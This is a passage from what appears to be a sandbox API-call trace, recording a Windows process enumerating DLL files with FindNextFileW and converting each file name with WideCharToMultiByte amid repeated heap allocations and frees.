lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.228] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.228] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.228] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.228] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.228] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.229] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.229] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.229] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.229] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.229] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.230] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x18c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.230] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x18c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.230] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x18c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.230] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.230] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.230] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x18c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.231] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x18c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.231] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x18c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.231] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.231] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.231] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.232] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: 